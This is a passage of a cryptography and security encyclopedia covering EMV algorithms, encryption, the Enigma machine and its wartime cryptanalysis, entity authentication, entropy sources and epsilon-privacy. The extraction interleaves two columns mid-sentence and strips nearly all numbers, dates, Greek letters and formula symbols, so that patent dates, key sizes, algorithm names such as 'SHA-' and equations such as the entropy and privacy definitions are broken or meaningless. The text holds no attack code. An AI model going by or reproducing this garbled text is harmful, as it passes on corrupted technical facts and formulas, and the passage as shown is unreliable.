Card and terminal dynamic data and digital signature Uses PIC to verify the cards signature on the dynamic data
(dynamic data signed by Card SIC)
EMV. Fig. Relationship between cryptographic keys for DDA and CDA
Random transaction selection by the terminal ensur- these values exceeds the issuer-set thresholds for offline
ing that transactions go online periodically regardless transactions.
of the transaction value.
Velocity checking where the card tracks the number Approved Algorithms
and cumulative value of transactions processed offline The double-length key triple DES encipherment
and requires an online authorization when one of algorithm (see ISO/IEC - []) is an approved
E Encryption
cryptographic algorithm to be used for encipherment An encryption step is an encryption applied to a partic-
(using ECB or CBC as specified in ISO/IEC []) and ular sequence of plaintext characters, using, in a way that
MACing. The approved MAC mechanisms for use with depends on the encryption key, a particular encryption rule
triple DES are Algorithms and of ISO/IEC - []. of an encryption algorithm.
Single DES (Data Encryption Standard) is only approved Often padding is necessary to give the message the
for use with Algorithm (triple DES applied to the last proper length as required by the encryption algorithm.
block). With padding, one also means the filling of gaps between
The AES block cipher algorithm (see ISO/IEC - meaningful messages, frequently by special padding char-
[]) has now also been approved as an option for secur- acters (called nulls). Both meaningful messages and
ing communications between issuers and their EMV cards. padding characters are encrypted, thus masking the occur-
MACing using AES is according to NIST []. rence of idle times. Careless padding may corrupt some
The digital signature scheme uses Scheme of ISO/IEC encryption systems.
- [] (RSA Digital Signature Scheme) and offline A product cipher or superencryption consists of an
PIN encryption uses the RSA transform as defined in encryption A applied to the result of encryption B; it is
ISO/IEC - []. denoted by encryption AB (product of B and A).
The approved algorithm for hashing is SHA- as speci- Homophones are two or more ciphertext elements
fied in ISO/IEC - []. belonging to the same plaintext element.
Recommended Reading
Example
. EMV () Integrated circuit card specification for payment
systems, version .
The bipartite, monographic encryption (Substitutions
. ISO/IEC -, Information technology security techniques, and Permutations and Alphabet) Z [Z /{}] is
message authentication codes part : mechanisms using a block given by:
cipher algorithm
. ISO/IEC -, Information technology security techniques,

digital signature schemes giving message recovery part : inte-
, , a b c d e f g h i
ger factorization based mechanisms
. ISO/IEC , Information technology security techniques, , , j k l m n o p q r
modes of operations for an n-bit block cipher , , s t u v w x y z
hash-functions part : dedicated hash-functions
encryption algorithms part : asymmetric ciphers The plaintext letter e has the three homophones: , ,
. ISO/IEC -, Information technology security techniques, and . The table also defines the inverse, a unipartite,
encryption algorithms part : block ciphers digraphic substitution [Z /{}] Z which turns out
. NIST SP -B, Recommendation for block cipher modes of
to be polyphonic.
operation: the CMAC mode for authentication
Polyphony is an encryption that assigns to each plain-
text element one out of several ciphertext elements (to be
chosen arbitrarily, randomly in the best case).
Encryption Decryption or deciphering is the inverse operation of
an encryption; it maps ciphertext to plaintext based on the
Friedrich L. Bauer (authorized) knowledge of the keytext. It may consist of
Kottgeisering, Germany several decryption steps.
One speaks of an unauthorized decryption if it takes
Related Concepts place without authorized access to the key.
Cryptosystem; Shannons Model Examples of classical encryption schemes are often
named after people (Csar, Alberti, Vigenre, Porta,
Denition Beaufort, Vernam, Polybios, and Playfair).
An encryption (also called enciphering) is a mapping of
plaintext to ciphertext based on some chosen keytext. It Recommended Reading
is performed by a stepwise application of a (more or less . Bauer FL () Decrypted secrets. In: Methods and maxims of
formalized) encryption algorithm (Cryptosystem). cryptology. Springer, Berlin
Enigma E
same machine could be used for encryption and decryp-

Encryption Exponent tion of a message) and has become a hallmark of all
subsequent versions. Similar designs were patented inde-
Burt Kaliski pendently about the same time by Hugo Alexander Koch
Office of the CTO, EMC Corporation, Hopkinton, (patent NL filed ..), Arvid Gerhard Damm
MA, USA (patent SW filed ..), and Edward Hugh
Hebern (patent US filed ..). In , patent
Synonyms rights for Kochs geheimschrijfmachine were transferred to
Public exponent Naamloze Vennootschap Ingenieursbureau Securitas, and in
, resold (for Dutch guilders) to Chiffriermaschinen
Related Concepts Aktien Gesellschaft, a company co-founded by Scherbius
in .
E
RSA Digital Signature Scheme; RSA Public-Key Encryp-
tion German Navy started to experiment with Enigma in
(Funkschlussel C). German Army introduced its ver-
Denition sion of Enigma (based on Enigma D) in . A mature
The exponent e in an RSA public key (n, e) is called the version named Enigma I was ready by . Novel very
encryption exponent. important part of military Enigma was a plugboard (Ger.
Steckerbrett) that significantly increased the number of
its possible settings. German Navy adapted Enigma I in
(Funkschlussel M or M, evolving up to M, intro-
Enigma duced in February for U-boot communication). From
mid-s, Enigma became universally used in all German
Arkadiusz Orowski armed forces (Air Forces introduced Enigma I in ;
Institute of Physics, Polish Academy of Sciences, Military Intelligence started to regularly use a different
Warsaw, Poland G model of Enigma around ) and most military-
Department of Informatics, WULS - SGGW, Warsaw, related services. Estimated total number of various Enigma
Poland machines used in the period is of the order of
,.
Related Concepts A typical military Enigma was a portable electrome-
Crypto Machines chanical machine equipped with a battery. It had dimen-
sions and looks of a typical typewriter (size of
Denition cm, weight about kg). A keyboard included only
Enigma [Gr. ] is a common name for a family characters of the Latin alphabet. Conventions for digits,
of rotor-based electromechanical crypto machines, playing punctuation signs, and other special characters had to be
enormous role in providing security of radio communica- (and were) elaborated (e.g., numbers were often spelled
tion for various German military units during the Second out). A partly transparent panel marked with the same set
World War. of Latin letters was covering bulbs of the type used in
flashlights. Elements responsible for encryption consisted
Background of variable-position rotors (Ger. Walzen), one reflector, one
The first Enigma, designed by Arthur Scherbius (patent fixed entry plate (Ger. Eintrittwalze), and the plugboard.
DE filed ..), after rejection from German Inside military Enigma, three rotors, selected from a larger
Navy and Foreign Office, was targeted at international set, could be accommodated. Till December , , the
business community. After , four versions of com- Army used only first three of five differently wired rotors
mercial Enigma successively appeared. Models A and B, supplied (numbered I, II, III, IV, and V, respectively). The
equipped with a typewriter, were quite huge ( Navy used all rotors from the very beginning and succes-
cm) and heavy (about kg). Models C (short-lived) sively increased the number of available types of rotors:
and D were smaller, with a lampboard (Ger. Lampenbrett) first to seven and eventually to eight. Each rotor had
instead of a typewriter, and a reflector (Ger. Umkehrwalze) fixed contacts on one side, and spring-loaded contacts
invented by Willi Korn (patent DE filed ..). on the other side, both sides being internally connected
Such a reflector ensured self-reciprocity of Enigma (the in an irregular fashion. Each rotor was equipped with a
E Enigma
ring with letters of the alphabet (or numbers from

to ) engraved on its circumference. The ring could be
fixed at different positions with respect to the core of
the rotor. The top letters of the rings were visible through
small windows located in a metal lid of Enigma. The reflec-
tor, placed to the left of the variable-position rotors, did
not move, and had spring-loaded contacts located on
its right side. These contacts were connected among them-
selves in pairs. The original reflector UKW A was replaced
by UKW B in November . UKW C appeared in
and was used only occasionally. UKW D, first detected by
Allies in January , had adjustable internal connections.
M model had an additional fourth rotor denoted and
called a Greek rotor. To fill in the same space, the type-B
reflector was made proportionally thinner. In , another
Greek rotor denoted , associated with a modified type-
C reflector was introduced. Rotors and did not move
Enigma. Fig. Three-rotor military Enigma machine
during encryption but could be set at any of positions.
To provide a compatibility with the still extensively used
M model, the thin reflectors with corresponding Greek
rotors placed in some special positions were equivalent to distribution of letters in the ciphertext was almost perfectly
the old (B or C) reflectors. Thinner reflectors had fixed con- uniform, and no attacks based on the classical frequency
tacts and Greek rotors had spring-loaded contacts on both analysis applied to Enigma.
sides. The plugboard (also known as a switchboard or a
stecker) consisted of pairs of sockets, each pair repre- Theory (of Encryption and Cryptoanalysis)
senting a letter. Connecting two pairs of sockets together A daily key, describing how Enigma should be prepared
via cross-wired cables had an effect of swapping two let- for a given day traffic, consisted of the following elements:
ters of the alphabet at the input and at the output of the () Choice and order of three moving rotors (Ger. Walzen-
enciphering transformation. The entry plate, located to the lage). During the WWII it gave possibilities for Enigma
right of rotors, had fixed contacts connected to the sock- I and possibilities for the naval machines. For M
ets of the plugboard. When a key of the keyboard was Enigma there was also an additional prescription for which
pressed, a current loop was closed and a bulb lit. Due to of four combinations of thin reflectors (B or C) and Greek
reflector properties the flashed letter was always different rotors ( or ) should be used. Such a combination usu-
than the pressed letter. A special ratchet and pawl mecha- ally lasted for the whole month. () Position of a ring
nism was used to control each rotor motion. After pressing with respect to its rotor core (Ger. Ringstellung). Rings
a key, the right rotor (called a fast rotor) made a / of settings on all three rotors placed into Enigma from left
the full revolution. When the right rotor reached a cer- to right were provided ( possibilities). Greek rotors
tain position called a turnover position, the middle rotor settings in M machine were kept practically fixed. ()
turned by / of the full angle. Finally, when the middle Plugboard connections (Ger. Steckerverbindungen). The
rotor reached its turnover position, then both the mid- cross plugging involved firstly six, then eight, and even-
dle and the left rotors turned by the same amount. This tually ten pairs of letters. Thus, the plugboard offered far
way, each subsequent letter was encrypted using a different more possible variations than any other part of the daily
setting of rotors, and Enigma implemented a polyalpha- key (of the order of ). () Initial positions of rotors
betic cipher with a reasonably large period. A single notch at the top of Enigma (Ger. Grundstellung). This was a
on each ring for rotors IV (associated with different let- group of three (or four for M) letters describing rotors
ter on the ring for different type of rotor) determined starting positions. () Key identification (Ger. Kenngup-
that rotor turnover position. Rotors VIVIII had two sym- pen). It helped a receiver to identify the key used by the
metrically positioned notches. Due to a peculiarity of the sender but had no direct influence on the Enigma cipher
ratchet-pawl mechanism, the middle rotor could under- security.
take so-called double-stepping. Thus the period was rather If all messages on a given day had been encrypted
= than = . Frequency using the same initial setting of Enigma determined by
Enigma E
the daily key, frequency analysis applied separately to all appeared to be sufficient to reconstruct the permutations
first, second, etc. letters of the ciphertexts would have easily needed, as well as all individual message keys for a given
broken the code. This made necessary to use a message key day. To determine which rotor was placed on the right-
(Ger. Spruchschlussel) composed of three (or for M) let- most position, Rzyckis clock method was used. It relied
ters and determining rotors position at the beginning of an on the property of Enigma that the position of the right-
actual message encryption. Although message keys were most rotor at which the middle rotor moved was different
chosen by individual operators themselves, supposedly at for each of the three rotors used by German Army. The
random, a lot of predictable patterns were observed. For main part of the grill method was devoted to the recon-
the Army Enigma, until September , , a message key struction of the connections of the plugboard. The fact that
was encrypted twice (apparently to detect possible trans- the plugboard did not change all letters was utilized. The
mission errors) using the daily key. The obtained six letters choice, order, and positions of the middle and left rotor
were placed in a header of the message. After that date, were found using an exhaustive search involving , tri-
E
each Enigma operator was responsible for choosing initial als. Finally, the location of the rotor rings was determined
settings of rotors used for double encryption of message using an ANX method, based on the observation that
keys. These positions were then transmitted in clear in the majority of German messages started from the letters AN
header of the ciphertext, and were not any longer identi- followed by X (used instead of space). A method of char-
cal for all operators. On May , , the day of attack on acteristics, used in the period , relied on the fact
France, Germans changed again the key distribution pro- that a format of products of some permutations (meaning
cedure and started to encrypt each message key only once. the length of cycles in the representation of a permutation
Key management procedures of German Navy were always in the form of a product of disjoint cycles) depended on the
a bit different than those of the Army: usually safer and order and the exact settings of rotors, but did not depend
more elaborate. on the plugboard connections. The pattern of cycle lengths
In December , Marian Rejewski, a mathematician was extremely characteristic for each daily key. As there
working for the Polish Cipher Bureau, reconstructed the were different cycle patterns (characteristics)
internal wiring of Enigma I by designing and solving a and possible arrangements (orders and settings) of
set of permutation equations describing Enigma opera- three rotors, it was quite likely that a given characteris-
tions. Instrumental to this achievement were: access to tic corresponded either to a unique arrangement of rotors
doubly encrypted message keys intercepted by Polish radio or at most to a small number of arrangements that could
stations and justified assumption that a significant percent- easily be tested. With known positions of rotors, the plug-
age of them consisted of three identical letters, imagina- board connections could be determined relatively easily,
tive guessing with regard to the entry plate permutation, and the ANX known-plaintext attack method was still
tables of daily keys for two consecutive months (September used to get the ring settings. To create a catalog of charac-
and October of ) supplied by Gustave Bertand (chief teristics an electromechanical device called cyclometer was
of radio intelligence section of French Intelligence Ser- constructed. As after September most of the previous
vice) and obtained from paid agent Hans-Thilo Schmidt, methods lost their significance, to determine the correct
pseudonym Asche, working as a civil servant in the cryp- positions of rotors a Bomba, an aggregate of six Enigma
tographic department of the German Army. machines operating in concert, was designed by Rejew-
Later on, several effective procedures for systematic ski and built up in November by Polish AVA Radio
reconstruction of daily keys by Marian Rejewski, Jerzy Manufacturing Company. Another method of Zygalskis
Rzycki, and Henryk Zygalski were developed. A grill perforated sheets was developed around the same time,
method was used in the period . It required utilizing the fact that out of all possible rotor settings, only
enciphered message keys, belonging to about inter- % led to the product of some permutations that included
cepted Enigma ciphertexts. Bad habits of Enigma opera- at least one pair of one-letter cycles. On July , ,
tors regarding the choice of three letters as the message during a meeting in Pyry in the Kabacki Wood just out-
keys were essential. When a possibility of choosing mes- side Warsaw, Polish passed two copies of the reconstructed
sage keys composed of three identical letters or letters that Enigma machine to French and British, respectively. Also
appeared on three neighboring positions of the Enigma the detailed documentation of Zygalskis sheets, Polish
keyboard was forbidden by German procedures, opera- Bomby, and other Polish methods were discussed and
tors subconsciously avoided any message keys in which transferred.
only two letters repeated. Such a small statistical bias, com- In the summer of , Britains Government Code
bined with the knowledge of the theory of permutations, and Cypher School (GC&CS) moved from London to a
E Entity Authentication
Victorian manor in Bletchley, northwest of London, called Recommended Reading

Bletchley Park. It continuously grew, from about up . Kozaczuk W () Enigma: How the German machine cipher
to the level of about , employees. Initially, British was broken, and how it was read by the allies in World War Two.
Arms and Armour Press, London
adapted Polish methods by the end of they man-
. Kahn D () The codebreakers: the comprehensive history of
aged to fabricate all sets of Zygalskis sheets needed, secret communication from ancient times to the Internet, nd ed.
and used this method together with Polish team work- Scribner, New York
ing at that time in France. After May , , British . Welchman G () The hut six story: breaking the Enigma codes,
cryptologists managed to come up with some impromptu revised edition. M & M Baldwin, Kidderminster
. Bauer FL () Decrypted secrets: methods and maxims of
methods, relying on bad habits of a few Enigma opera-
cryptology, th ed. Springer, Berlin
tors (some of committed errors were explicitly forbidden . Sebag-Montefiore H () Enigma: the battle for the code.
by German procedures) and included so-called Herivel Weidenfeld & Nicolson, London
tips and cillies (e.g., the same triple of letters was used . Gaj K, Orowski A () Facts and Myths of Enigma: Break-
for both: an initial position of rotors, sent in clear, and ing Stereotypes. In: Biham E (ed) Advances in Cryptology
EUROCRYPT . LNCS , Springer, Berlin, pp
for a message key, sent in encrypted form). But the major
breakthrough was development of the British Bombe.
It was based not on the evolving key distribution proce-
dures, but on so-called cribs (fragments of plaintext that Entity Authentication
were possible to guess) allowing a known-plaintext attack.
The sources of these cribs were numerous (e.g., data about
Robert Zuccherato
senders and receivers with titles and affiliations, formal
Carle Crescent, Ontario, Canada
greetings, stereotypical reports such as having nothing to
report, easily predictable weather forecasts, or the same
messages retransmitted between networks using differ- Synonyms
ent daily keys). The idea of the British Bombe came Identity authentication
from Alan Turing, and a significant improvement, called
a diagonal board was proposed by Gordon Welchman. Related Concepts
The goal was to find positions of rotors that could not Access Control from an OS Security Perspective;
be excluded as possibly being used at the start of encryp- Authentication Code; Authentication Token; Biome-
tion. Each Bombe contained sets of three rotors each, tric Authentication; Biometrics: Terms and Defini-
and was working synchronously through all possible rotor tions; Credential-Based Access Control; Identification;
positions. Bombes were operated by members of the Identity Verification Protocol
Womens Royal Naval Service, Wrens, who were respon-
sible for initializing machines, writing down rotor com-
Denition
binations found by the machine, and restarting machines
Entity authentication is the process by which one
after each potentially correct combination was discov-
entity (the verifier) is assured of the identity of a second
ered. The Bombes working time could be reduced by
entity (the claimant) that is participating in a protocol
first applying another Turing invention a method called
(Identity Verification Protocol). This assurance is usually
Banburismus. To effectively use the Banburismus many
obtained by requiring the claimant to provide corroborat-
messages had to be intercepted (of the order of ) and it
ing evidence of the claimed identity to the verifier. The
could be applied to a three-rotor Enigma only. Approxi-
claimed identity can either be presented to the verifier as
mately Bombes, that started to appear in , were
part of the protocol or can be presumed by context.
built and used in England throughout the war. To sup-
port British effort, in summer , US Navy assigned
Theory
the design of American Bombes to Joseph Desch, the
The corroborating evidence required in order to obtain
research director of the National Cash Register Company
entity authentication is sometimes also called credentials
(NCR) based in Dayton, Ohio. In May , the first
or an authentication code and is usually calculated using
two American Bombes were successfully tested. About
one of the following three types of input:
American Bombes were produced, being faster and
more suitable to break M Enigma. They were operated . Something known: Typically this involves the claimant
by women in the US Navy, called Waves from Women providing a password (Password) or PIN (Personal
Accepted for Volunteer Emergency Service. Identification Number) that is then either presented
Entropy Sources E
directly to the verifier or used to compute credentials Recommended Reading

that are presented to the verifier and then validated. . ISO/IEC - () Information technology security tech-
. Something possessed: This type of input includes phys- niques entity authentication Part : General
. FIPS () Entity Authentication using Public Key Cryp-
ical devices that are used to compute the credentials
tography, Federal Information Processing Standards Publication
presented to the verifier as well as software files that . U.S. Department of Commerce/NIST, National Technical
must be possessed by the claimant in order to compute Information Service, Springfield, VA
the credentials. Examples of physical devices include
smart cards, magnetic stripe cards, and one-time pass-
word generators (One-Time Password). Software files
will typically contain secret or private keys that are
Entity Authentication Protocol
used to compute credentials; however, physical devices
may contain these keys as well. Note that these physical Identity Verification Protocol E
devices are sometimes called authentication tokens.
. Something inherent: This category includes the class of
inputs known as biometrics. In this category, human Entity Resolution
physical characteristics, such as fingerprints, reti-
nal scans, or handwriting, are used to produce the Data Linkage
credentials.
The term identification is sometimes used as a synonym for Entropy Sources

entity authentication; however, it is also sometimes used to
simply refer to the process of claiming or stating an identity Carl M. Ellison
without providing the corroborating evidence required for New York, USA
entity authentication. Care must be taken to ensure, when
using this term, that the correct interpretation is used. Related Concepts
Conditional Entropy; Information Theoretic Entropy;
Applications Key Generation; Mutual Information; Pseudo-
The main reason why entity authentication is usually Random Bit Generation; Pseudorandom Number Gen-
required is to restrict access to protected resources. Exam- erator; Randomness; True Random Number
ples include remote access to computer accounts, access Generation
to web sites, and bank-account access at automated teller
machines. If entity authentication is being used for this Denition
purpose, then it necessarily must be combined with an An entropy source is an input device or a measured char-
access-control method or privilege management technique acteristic of an I/O device on a computer that supplies
(Authorization Architecture) in order to restrict access. random bits: specifically, bits that an attacker cannot know.
The claimant will usually be authenticated first, and then
the access control or privilege management technique will Background
be used to determine the level of access allowed. Randomness is used extensively in modern cryptography.
Important standards that describe methods of entity The primary uses are in generation of cryptographic keys
authentication include: and in driving probabilistic algorithms. Randomness is
also used in the generation of identifiers that are intended
ISO/IEC []: This is a five-part international stan- to be globally unique but for which there is no global
dard dealing with entity authentication that includes authority for issuing the identifier.
a general introduction and parts focusing on entity
authentication based upon symmetric encryption, Theory
public-key signatures, cryptographic check functions,
Anyone who considers arithmetical methods of producing
and zero-knowledge techniques.
random digits is, of course, in a state of sin. (John von
FIPS []: This is a US government standard that
Neumann, , as quoted by Knuth).
specifies techniques for entity authentication using
public-key techniques. It is based upon techniques Pseudo-random number generators (PRNGs) can
described in ISO/IEC -. provide the random bits needed for all uses (under the
E Entropy Sources
assumption of a computationally limited attacker), but a . The density of an external provider is its own local
PRNG needs a seed value. If that seed value has N bits, density, modified by the attackers ability to pene-
then the brute force attack is to run N copies of the PRNG, trate the channel from that provider to the SUA.
one with each different seed value, and see which of those Under the (unrealistic) model that an attacker can
produces outputs consistent with the System under Attack learn a bit of that communication with probability pA ,
(SUA). If through side channels or other means an attacker independently for each bit of each communication,

could learn M of the seeds N bits, then the work factor for k,A = ( pA ) k,A is the entropy density of that
the attacker is NM and the effective entropy of the SUA is providers output at the SUA. More realistic models of

N M bits. attack yield different formulas for k,A .
The bits of entropy from which the PRNG seed is
derived must come from outside any of the copies that the Entropy Denition
attacker would run. If the same PRNG seed were built in to The traditional definition of information theoretic entropy
each copy of the system, then the attacker would need only used by Shannon is:
one copy of the system because NM = (N being the seed
bits delivered to the SUA and M being the bits delivered to H = pk log (pk )
k
the attackers copy).
There are three classes of entropy source in use and For the purpose of entropy density estimation, it is more
considered for the foreseeable future: appropriate to use min-entropy:
H = log (pmax )
. A quantum noise source
. A collection of I/O devices whose timing or input Attack Models
values are believed unavailable to the attacker There are two attack models considered in estimating
. A secure channel from an external trusted entropy entropy density.
provider
Model
For example, a variety of random number devices sam- The attacker runs one test system using the most proba-
ple quantum noise and are in class ; an operating system ble entropy source value (whose probability is pmax ) and
entropy source such as/dev/random in UNIX or ksecdd.sys compares it to a large number, K of systems under attack.
in Windows that samples various system variables is in Under this attack model, K pmax is the expected number
class (under the assumption that variation in I/O timing of systems that will successfully match the one test sys-
produces variation in the variables sampled); and a system tem. The work factor for the attacker in this model is best
shipped with a PRNG already seeded with a unique ran- represented by H .
dom value is in class , where the secure channel is the
physical channel used during manufacture. Model
The attacker runs a large number, K, of test systems, each
using entropy source values distributed according to prior
Entropy Density knowledge as modified by knowledge from any side chan-
Few entropy sources reliably deliver bit of entropy per
nels from the SUA. If the number of systems that the
bit of output. The quantity k,A represents the num-
attacker must run in order to expect success in matching
ber of bits of entropy per bit of output from source k, with
the SUA is KA , then the entropy of the source(s) on the
respect to attacker A. Determining k,A has no established
SUA is HA log KA . It is assumed that H HA , so H
science.
is used to compute a sources k,A , providing a margin of
safety.
. Maurer gives a general technique applicable to some
quantum noise sources. Entropy Pool Architecture
. Estimation of entropy density from I/O device tim- Bits from entropy sources are typically gathered into some
ing is an open field of study and much research is still memory responsible for holding entropy for the system
needed. Methods employing Hidden Markov Models it supports. That memory is called the entropy pool. The
(HMMs) are promising, but no final solution has been pool is defined to be full when each bit of this memory is
reported. independent of each other bit and has an entropy of bit.
ePassport Security E
Associated with this memory, there is a counter of the anything has been extracted from the entropy pool. The
number of bits of actual entropy in the pool. As samples are constant, const, is arbitrary.
added to the pool, this counter is increased, and as random
bits are taken out of the pool, the counter is decreased.
Entropy Compression Various experiments on entropy from variation in I/O
When entropy source, k, provides N bits to the entropy device timing and content have yielded rates in the
pool, those N bits contain (N k,A ) bits of entropy. These range bits/s to bit/min, depending on the device
bits of entropy might be uniformly spread among the phys- being measured and the attack scenario assumed. Quan-
ical bits or might be clustered in some small region of the tum noise sources have yielded entropy rates as high as
physical bits. The system designer does not know where the , bits/s, although usual sources are significantly
true entropy is located. One purpose of entropy compres- slower. Each specific source needs to be measured by E
sion is to spread incoming entropy bits out among the bits itself.
of an entropy pool uniformly, no matter where it happened
to be among the input bits. This is one of the character-
istics of an ideal cryptographic hash function (random Open Problems and Future Direction
function and the random oracle model). Estimation of the actual entropy of system variables
In addition, because k,A , one needs a function under a particular attack model, k,A , is in need of thor-
whose domain is larger than its range one that com- ough study. However, as quantum noise sources become
presses its input. An ideal cryptographic hash function has more ubiquitous, they should replace system variables as
this property also. Lacking an ideal cryptographic hash entropy sources and make the difficulty in measuring their
function, in practice entropy compression is done by the entropy moot.
best cryptographic hash function available at the time.
The algorithm most often used for adding an input to
an entropy pool is: Recommended Reading
. Knuth D () Art of computer programming, volume :
P = hash(P, S) seminumerical algorithms. Addison-Wesley, Reading
. Barker E, Kelsey J () Recommendation for random num-
C = min (P , C + (N k,A )) ber generation using deterministic random bit generators, NIST
where P is the old contents of the entropy pool, P is the special publication -, March http://csrc.nist.gov/
publications/nistpubs/- /SP- revised_March.pdf
new contents, S is the new entropy source value, C is the . Maurer U () A universal statistical test for random bit gen-
old counter of the pools true entropy content, C is the new erators. J Cryptol ():
counter value, and P is the number of bits in the pool, P. . Davis D, Ihaka R, Fenstermacher PR Cryptographic random-
ness from air turbulence in disk drives. In Desmedt YG (ed)
Entropy Extraction Advances in cryptology CRYPTO conference proceedings.
Lecture notes in computer science, vol . Springer, Heidelberg,
Entropy extraction is the removal of some specified num- pp
ber of bits from the entropy pool. In practice, a crypto- . Blum M, Micali S () How to generate cryptographically
graphic hash function is used for this purpose. The typical strong sequences of pseudo-random bits. SIAM J Comput :
algorithm assumes that K bits are to be extracted, with . Chor B, Goldreich O () Unbiased bits from sources of weak
K hash. For values of K larger than the size of the hash randomness and probabilistic communication complexity, .
http://www.wisdom.weizmann.ac.il/~oded/PS/sources.ps
function output, multiple extractions of smaller quantities
can be concatenated. An extraction can be attempted only
when C K. The recommended algorithm for extrac-
tion is:
Environmental Attacks
C = C K
V = hash(const, NE , P) Side-Channel Attacks
NE = NE +
X = trunc(K, V) ePassport Security
where the function trunc(K, V) truncates V to K bits, X
is the extracted output, and NE is the number of times Passport Security
E -Dierential Privacy
predicates. Let dom(S) denote the domain of the sensi-

-Dierential Privacy tive attribute. Each individual is associated with a set of
sensitive predicates (u). Each predicate (u) (u)
Differential Privacy takes the form tu .S S , S dom(S). Informally, infer-
ring that (u) = true from the published data for some
(u) (u) breaches us privacy.
-Indistinguishability To formally define the adversary model of -privacy,
consider the notion of exchangeability (see [] for a nice
survey).
Differential Privacy
Definition (Exchangeability) A sequence of random
variables X , X , . . . is exchangeable if every finite permuta-
-Privacy tion of these random variables has the same joint probability
distribution.
Johannes Gehrke , Ashwin Machanavajjhala Under the assumption that the rows in T are exchange-

Department of Computer Sciences, Cornell University, able, the original table T (of size n) can be shown to be
Ithaca, NY, USA generated by the following probabilistic process. First, one

Yahoo! Research, Santa Clara, CA, USA out of an infinite set of probability vectors
p is drawn from
some distribution D. Then n individuals are drawn i.i.d.
from the probability vector p. D encodes the adversarys
Related Concepts prior information. An agnostic adversary with no infor-
Differential Privacy; l-Diversity; Statistical Disclosure mation can be modeled using a D that makes all p equally
Limitation likely. A very knowledgeable adversary can be modeled
using a D that eliminates all but one probability vector p.
Denition -Privacy adopts the Dirichlet distribution [] to model
-privacy is a framework for measuring the amount of sen- such a prior over p.
sitive information in data disclosed to adversaries encom-
passing adversaries with a wide range of background Definition (Dirichlet distribution) Let p = (p , . . . , pk )
knowledge. denote a vector of probabilities (i pi = ). The Dirich-
let distribution with parameters = ( , . . . , k ), which is
denoted by D(), is a probability density function defined
Background
over the space of probability vectors such that
Consider the problem of publishing data collected from
a set of individuals. This data T has a relational struc- ()
D(
p; ) = pi i ()
ture with categorical attributes (A , . . . , Aa ) with finite i (i ) i
domains. The attributes are partitioned into a set of non-
where = i i and is the gamma function. ((t) is
sensitive attributes whose disclosure is not our concern,
the gamma function defined as xt ex dx.) is called
and a set of sensitive attributes whose privacy should
the prior sample size and / = (i /, . . . , k /) is
be guaranteed. Denote the nonsensitive and the sensitive
called the shape of the Dirichlet distribution.
attributes using two multidimensional attributes N and
S, respectively. Every tuple tu T contains information An adversary may form a Dirichlet prior D( , . . . , k )
about one unique individual u. The data publisher uses a as follows. An adversary without any knowledge about the
procedure R that takes T as input and outputs another table population can be modeled by a prior of D(, . . . , ); this
Tpub which is published. makes all the probability vectors equally likely and thus
For historical reasons, R is called an anonymization models the complete lack of information. Upon observ-
procedure and Tpub the anonymized table. ing a dataset with counts ( , . . . , k ) the adversary
can update his prior to D( , . . . , k ). With this updated
Theory prior not all probability vectors are equally likely. The prob-
In -privacy, sensitive information is modeled on a set of ability vector with the maximum likelihood is p such that
sensitive predicates. These are boolean statements whose pi = i /.
truth value an individual would not want disclosed. The As is increased without changing the shape of the
data publisher or an individual can specify these sensitive Dirichlet, p becomes more and more likely. That is, the
-Privacy E
adversary becomes more and more stubborn (or certain) measure the disclosure risk of an individual. It is not used
that p is the correct prior distribution. Thus is called the as an actual anonymization technique where each individ-
stubbornness of an adversary. In particular, in the extreme ual u is considered in turn and tu is dropped if and only if
case when , p is the only possible probability us privacy is breached. The output of R on the whole table
distribution. is published when no individual sees a privacy breach, or
nothing is published at all.
Definition An adversary is -stubborn if her prior
sample size .
Applications
-privacy assumes that the adversary may additionally
Historically, disparate privacy definitions, such as (c, )-
possess exact information about some of the individuals in
diversity [] or -differential privacy [], have been defined
the table (e.g., due to a prior data release). More specifically,
the adversary is assumed to know a subset of tuples B T
for a single class of (weak or strong) adversaries. One of the E
strengths of -privacy is that it can instantiate many other
from the original table.
formal definitions of disclosure control that guard against
Disclosure of sensitive information is measured as fol-
a spectrum from weak to strong adversaries.
lows. After Tpub is published, the adversarys belief in a
Four interesting classes of adversaries can be instanti-
sensitive predicate (u) about individual u is given by the
ated. Each class considers different adversaries that form
following posterior probability:
a single prior on the distribution of the sensitive attribute;
p (Tpub , u, , B, ) = Pr[(u) Tpub = R(T) B; D()]
in
this prior does not depend on the value of the nonsensi-
() tive attributes. That is, the adversarys prior is captured by a
Dirichlet D(), where has one parameter (s) for every
The adversarys belief in (u) conditioned on the pub- s S.
lished data when individual us information is removed
from the publication is: . Class I: A set of adversaries with stubbornness and
prior shape /.
(Tpub , u, , B, )
out
p . Class II: A set of adversaries with stubbornness , but
= Pr[(u) Tpub = R(T/{tu }) B; D()] () with an arbitrary prior D() such that sS (s) = .
. Class III: A set of adversaries having the same prior
The distance between the two probabilities pin and pout
shape of /, but with arbitrarily large stubbornness
measures how much more an adversary learns about an
(i.e., including an -stubborn adversary).
individuals sensitive predicate (u) if us information was
. Class IV: The set of all possible adversaries (including
included in T. If pin is much greater than pout (or if pin
-stubborn adversaries with an arbitrary prior shape).
is much smaller than pout ), then the adversary has
learned a lot of information toward deducing that (u) = Class I adversaries are the weakest as the most assump-
true; this is called a privacy breach. But if the belief of an tions are made about the adversary. Class II and III adver-
adversary is roughly the same no matter whether or not us saries are strictly stronger than Class I, which are in turn
information is included in the dataset, individual u has no weaker than Class IV adversaries. Class II is a relatively
reason to hold her data back. new class of realistic adversaries who have an unknown
prior but have bounded stubbornness, and thus are willing
Definition (-Privacy []) Let D() be the adversarys
to change their prior in the face of contradicting evidence,
prior about the population and B be a subset of individ-
just like a real-world rational agent.
uals in T whose exact information the adversary knows.
Two instantiations of -privacy are shown below that
Anonymization algorithm R is said to violate -privacy if
are equivalent to existing privacy definitions.
for some output Tpub generated by R, for some individual
u appearing in T, and some (u) (u),
(c, )-Diversity []
pin (Tpub , u, , B, ) (c, )-diversity requires that the most frequent sensi-
> or () c
pout (Tpub , u, , B, ) tive attribute appears in at most c+ fraction of the tuples
in every anonymous group. The privacy guaranteed by this
pout (Tpub , u, , B, ) metric is equivalent to considering the following Class III
> . ()
pin (Tpub , u, , B, ) adversary.
Note that the change in the adversarys belief is con- Sensitive information: For every individual, (u)
sidered by removing an individual from the data only to contains one predicate tu [S] = s for every s S.
E Error-Correcting Cyclic Codes
Adversary model: An -stubborn adversary whose . Kifer D () Attacks on privacy and de finettis theorem.
prior shape is uniform; that is, the adversary assumes In: Proceedings of ACM management of data (SIGMOD),
that all individuals are drawn from p , where for all Providence, pp
s S, p (s) = /S. Moreover, the adversary does not

